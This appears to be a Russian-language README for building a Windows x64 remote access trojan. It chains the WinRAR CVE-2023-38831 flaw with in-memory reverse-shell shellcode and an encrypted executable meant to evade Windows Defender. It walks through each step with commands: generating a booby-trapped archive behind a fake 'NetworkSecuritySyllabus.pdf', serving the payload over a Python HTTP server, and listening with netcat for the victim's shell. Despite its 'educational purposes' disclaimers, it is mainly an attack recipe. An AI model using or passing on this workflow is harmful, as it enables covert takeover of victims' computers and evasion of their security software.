Windows x64 Троян удалённого доступа (RAT)

Цель

Разработка Windows x64 RAT с использованием CVE-2023-38831 (WinRAR < 6.23) и эксплуатации шелл-кода для обхода Windows Defender.

Описание системы

1. Инициализация шелл-кода
   • Сгенерировать шелл-код с помощью Windows/x64 - PIC Null-Free TCP Reverse Shell Shellcode.
2. Объяснение main.cpp
   • Внедрить и выполнить шелл-код в памяти для установления обратного TCP-соединения.
3. Компиляция и шифрование main.cpp
   • Скомпилировать C++ файл в исполняемый файл и зашифровать его.
4. Эксплуатация WinRAR CVE-2023-38831
   • Использовать уязвимость для загрузки, расшифровки и выполнения зашифрованного RAT.
5. Скрипт расшифровки и выполнения (decrypt_file.ps1)
   • Расшифровать и выполнить загруженный исполняемый файл.
6. Выполнение
   • Открыть поддельный PDF/изображение для запуска обратного shell-соединения.

Руководство по эксплойту

Предупреждение: Эта информация предоставлена только в образовательных целях. Несанкционированное использование этих методов является незаконным и неэтичным.

Пошаговая инструкция

1. Создание шелл-кода

   • Использовать 51721.py для генерации начального шелл-кода.

2. Изменение и компиляция шелл-кода

   • Внести необходимые изменения в шелл-код.
   • Скомпилировать изменённый код.

3. Шифрование исполняемого файла

   • Использовать decrypt_file.ps1 для шифрования скомпилированного исполняемого файла:

     .\decrypt_file.ps1 -inputFile .\main.exe -outputFile .\enc_main.exe
     

4. Создание архива WinRAR

   • Использовать cve-2023-38831-exp-gen.py для создания архива:

     python cve-2023-38831-exp-gen.py NetworkSecuritySyllabus.pdf script.bat NetworkSecuritySyllabus.rar
     

5. Настройка Python-сервера для загрузки файлов

   • Перейти в директорию, содержащую enc_main.exe и decrypt_file.ps1.
   • Запустить Python HTTP-сервер:

     python3 -m http.server 8000
     

6. Подготовка к прослушиванию обратного TCP-shell

   • Открыть Netcat для прослушивания входящих TCP-соединений:

     nc -lnvp 4444
     

7. Запуск обратного TCP-shell

   • Когда жертва откроет PDF-файл, будет запущено обратное TCP-соединение, предоставляющее вам доступ к её машине.

Отказ от ответственности

Эта информация предоставлена только в образовательных целях. Использование данного эксплойта без явного разрешения является незаконным и неэтичным. Автор не несёт ответственности за любое неправомерное использование этой информации.